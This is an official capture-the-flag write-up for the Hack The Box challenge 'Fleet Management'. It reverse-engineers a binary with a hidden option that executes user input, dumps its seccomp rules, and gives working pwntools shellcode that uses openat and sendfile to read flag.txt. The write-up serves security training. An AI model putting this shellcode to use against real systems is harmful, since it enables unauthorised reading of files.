



HACKTHEBOX



Fleet Management

15th April 2022 / Document No. D22.102.250

Prepared By: w3th4nds

Challenge Author(s): unicorn

Difficulty: **Easy**

Classification: Official

Synopsis

Fleet Management is an Easy difficulty challenge that features shellcoding - Exfiltrating a file with `sendfile` and `openat` syscalls

Skills Learned

- Linux Syscalls

Enumeration

First of all, we start with `checksec` :

```
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
```

Protections

Protection	Enabled	Usage
Canary	✗	Prevents Buffer Overflows

Protection	Enabled	Usage
NX	✓	Disables code execution on stack
PIE	✓	Randomizes the base address of the binary
RelRO	Full	Makes some binary sections read-only

The interface of the program looks like this:

```

[1] View the Fleet
[2] Control Panel
[3] User Settings
[4] Exit

```

Disassembly

Starting from `main()`:

```

undefined8 main(void)
{
    setup();
    fprintf(stdout,"%s %s Fleet Management System
%s\n",&DAT_001023e5,&DAT_001020e9,&DAT_001023e0);
    fprintf(stdout,"\n%s[*] Loading . . .\n",&DAT_001020f1,&DAT_001020e9);
    sleep(2);
    menu();
    return 0;
}

```

There is a call to `menu()`.

`menu()`:

```

void menu(void)
{
    memset(local_13,0,3);
    do {
        fwrite("\n- - - - -\n",1,0x1b,stdout);
        fwrite("|                               |\n",1,0x1b,stdout);
        fwrite("|  [1] View the Fleet   |\n",1,0x1b,stdout);
        fwrite("|  [2] Control Panel   |\n",1,0x1b,stdout);
        fwrite("|  [3] User Settings   |\n",1,0x1b,stdout);
        fwrite("|  [4] Exit            |\n",1,0x1b,stdout);
        fwrite("|                               |\n",1,0x1b,stdout);
        fwrite("- - - - -\n",1,0x1a,stdout);
    }
}

```

```

fwrite("\n[*] What do you want to do? ",1,0x1d,stdout);
read(0,local_13,2);
switch(local_13[0]) {
case '1':
    fprintf(stdout,"\n%s[*] Connecting to the Encrypted channel . .
.\n%s",&DAT_001020f1,
        &DAT_001020e9);
    sleep(1);
    fprintf(stdout,"\n%s[*] Fetching Data . .
.\n%s",&DAT_001020f1,&DAT_001020e9);
    sleep(1);
    ...
    break;
case '2':
    fprintf(stdout,"\n%s[*] Authenticating . .
.\n%s",&DAT_001020f1,&DAT_001020e9);
    sleep(1);
    fprintf(stdout,"\n%s[!] Error: You are not member of an authorized
group.\n%s",&DAT_00102211,
        &DAT_001020e9);
    break;
case '3':
    fprintf(stdout,"\n%s[!] Error: You should authenticate
first.\n%s",&DAT_00102211,&DAT_001020e9
        );
    break;
case '4':
    fprintf(stdout,"\n[*] Bye! %s\n",&DAT_00102380);
    exit(0);
case '9':
    beta_feature();
default:
    fprintf(stdout,"\n%s[!] Error: Invalid
Option.\n%s",&DAT_00102211,&DAT_001020e9);
}
} while( true );
}

```

We see that there is another option in the switch case block - option 9 that calls the `beta_feature()`.

```

void beta_feature(void)
{
    code *__buf;

    __buf = (code *)malloc(0x3c);
    mprotect((void *)((ulong)__buf & 0xfffffffffff000),0x3c,7);
    read(0,__buf,0x3c);
    skid_check();
    (*__buf)();
    return;
}

```

`beta_feature()` allocates a 0x3c size chunk on the heap and then marks it as executable with `mprotect`. Then it reads 0x3c bytes into the chunk, calls the `skid_check()` function and then dereferences and calls the pointer to the chunk.

```
void skid_check(void)

{
    undefined8 uVar1;

    uVar1 = seccomp_init(0);
    seccomp_rule_add(uVar1,0x7fff0000,0x3c,0);
    seccomp_rule_add(uVar1,0x7fff0000,0xe7,0);
    seccomp_rule_add(uVar1,0x7fff0000,0x101,0);
    seccomp_rule_add(uVar1,0x7fff0000,0x28,0);
    seccomp_rule_add(uVar1,0x7fff0000,0xf,0);
    seccomp_load(uVar1);
    return;
}
```

This function loads some seccomp rules.

We can use [seccomp-tools](#) to dump the rules.

```
$ seccomp-tools dump ./fleet_management
```

We enter `9` as input and then a newline to `read()`.

```
line  CODE  JT   JF      K
=====
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x0000000f  if (A == rt_sigreturn) goto 0010
0006: 0x15 0x03 0x00 0x00000028  if (A == sendfile) goto 0010
0007: 0x15 0x02 0x00 0x0000003c  if (A == exit) goto 0010
0008: 0x15 0x01 0x00 0x000000e7  if (A == exit_group) goto 0010
0009: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0011: 0x06 0x00 0x00 0x00000000  return KILL
```

We see that only `rt_sigreturn`, `sendfile`, `openat` and `exit` syscalls are allowed.

We can write into the allocated chunk and then execute its content, but we can only use the mentioned syscalls.

```
int openat(int dirfd, const char *pathname, int flags);
```

The `openat()` system call operates in exactly the same way as `open()`, except for the differences described here.

If the pathname given in `pathname` is relative, then it is interpreted relative to the directory referred to by the file descriptor `dirfd` (rather than relative to the current working directory of the calling process, as is done by `open()` for a relative pathname).

If `pathname` is relative and `dirfd` is the special value `AT_FDCWD`, then `pathname` is interpreted relative to the current working directory of the calling process (like `open()`).

If `pathname` is absolute, then `dirfd` is ignored.

We can open a file in a specific `fd` with `openat('AT_FDCWD', 'flag.txt', 'O_RDONLY')`.

Keep in mind that `openat` returns the opened file descriptor.

We can write file contents to `stdout` with `sendfile(1, fd_returned_by_open, 0, 64);`

Writing and Assembling the shellcode.

`Pwntools` offer us the `shellcraft` module with which we can easily construct our `shellcode`:

```
shellcode = shellcraft.openat('AT_FDCWD', 'flag.txt', 'O_RDONLY')
shellcode += shellcraft.sendfile(1, 'rax', 0, 64)
shellcode += shellcraft.exit()
payload = asm(shellcode)
```

The shellcode in assembly:

```
/* openat(fd='AT_FDCWD', file='flag.txt', oflag='O_RDONLY') */
/* push b'flag.txt\x00' */
push 1
dec byte ptr [rsp]
mov rax, 0x7478742e67616c66
push rax
mov rsi, rsp
push AT_FDCWD /* -0x64 */
pop rdi
xor edx, edx /* O_RDONLY */
/* call openat() */
xor eax, eax
mov ax, SYS_openat /* 0x101 */
syscall
/* sendfile(out_fd=1, in_fd='rax', offset=0, count=0x40) */
push 0x40
pop r10
push 1
pop rdi
xor edx, edx /* 0 */
mov rsi, rax
/* call sendfile() */
push SYS_sendfile /* 0x28 */
```

```

pop rax
syscall
/* exit(status=0) */
xor edi, edi /* 0 */
/* call exit() */
push SYS_exit /* 0x3c */
pop rax
syscall

```

We can use this `shellcode` to write the contents of `flag.txt` into `stdout`.

Solution

```

[*] '/home/w3th4nds/github/htb-events-
dev/pwn/fleet_management/fleet_management'
  Arch:      amd64-64-little
  RELRO:     Full RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       PIE enabled
[+] Starting local process './fleet_management': pid 402577
[*] Switching to interactive mode
🚢 Fleet Management System 🚢

[*] Loading . . .

-- -- -- -- --
| [1] View the Fleet |
| [2] Control Panel |
| [3] User Settings |
| [4] Exit           |
|                   |
-- -- -- -- --

[*] What do you want to do? [*] Process './fleet_management' stopped
with exit code 0 (pid 402577)
HTB{f4k3_fl4g_4_t35t1ng}
[*] Got EOF while reading in interactive

```